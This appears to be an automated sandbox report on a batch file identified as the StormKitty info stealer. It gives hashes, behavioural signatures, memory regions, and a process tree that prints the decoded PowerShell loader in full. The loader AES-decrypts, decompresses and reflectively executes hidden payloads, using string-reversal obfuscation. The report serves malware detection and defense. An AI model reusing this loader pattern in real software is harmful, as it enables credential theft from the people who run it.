Analysis

  • max time kernel
    93s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-08-2024 17:13

General

  • Target

    1 (3).bat

  • Size

    5.0MB

  • MD5

    c8a15e928d8716c074a207383132fdee

  • SHA1

    722aab3f5a84f86206b3dafc8d646356f1a9fa8f

  • SHA256

    43b71ff866714a9281c6443c83b2d9b8adb3ba10c36a7edceed9ceb2ea03ae9c

  • SHA512

    570b31953a996a4f09eb19094463e06aad7768d352b26eaf93d0218e725fecd9b1847f7eb3b5316d476c750258995121a0e3f30937615579431ae91addea9f53

  • SSDEEP

    24576:uJmEVc1z91hmGDRSxkI7ZkgSd8cNuT4YBymha85MqsmThzY0HKh+3tHnZo1tLRll:uOxmqRUbR57NHHy1mtxaV

Malware Config

Signatures

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1 (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0rjlbZXI4wI0ciuar5m++D5+J76klQrlAvbqJ43Iy4Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1usa/uKScJKM8/1+YdulaA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DDGsT=New-Object System.IO.MemoryStream(,$param_var); $CWqVT=New-Object System.IO.MemoryStream; $PJdiV=New-Object System.IO.Compression.GZipStream($DDGsT, [IO.Compression.CompressionMode]::Decompress); $PJdiV.CopyTo($CWqVT); $PJdiV.Dispose(); $DDGsT.Dispose(); $CWqVT.Dispose(); $CWqVT.ToArray();}function execute_function($param_var,$param2_var){ $YPAVW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qHQpi=$YPAVW.EntryPoint; $qHQpi.Invoke($null, $param2_var);}$wtInT = 'C:\Users\Admin\AppData\Local\Temp\1 (3).bat';$host.UI.RawUI.WindowTitle = $wtInT;$VvHgl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wtInT).Split([Environment]::NewLine);foreach ($mXdOf in $VvHgl) { if ($mXdOf.StartsWith('tPqKmfSeuKbxOPBqzcVB')) { $Sdscq=$mXdOf.Substring(20); break; }}$payloads_var=[string[]]$Sdscq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:3784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2328

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ryv0aeye.paa.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2328-14-0x000001E0E7D90000-0x000001E0E7E06000-memory.dmp

      Filesize

      472KB

    • memory/2328-6-0x000001E0E5800000-0x000001E0E5822000-memory.dmp

      Filesize

      136KB

    • memory/2328-11-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-12-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-13-0x000001E0E7A80000-0x000001E0E7AC4000-memory.dmp

      Filesize

      272KB

    • memory/2328-0-0x00007FFD05E63000-0x00007FFD05E65000-memory.dmp

      Filesize

      8KB

    • memory/2328-15-0x000001E0E5880000-0x000001E0E5888000-memory.dmp

      Filesize

      32KB

    • memory/2328-16-0x000001E0E7E10000-0x000001E0E7FDC000-memory.dmp

      Filesize

      1.8MB

    • memory/2328-17-0x000001E0E7FE0000-0x000001E0E81AE000-memory.dmp

      Filesize

      1.8MB

    • memory/2328-18-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-21-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

      Filesize

      10.8MB

    • memory/2328-22-0x00007FFD05E60000-0x00007FFD06921000-memory.dmp

      Filesize

      10.8MB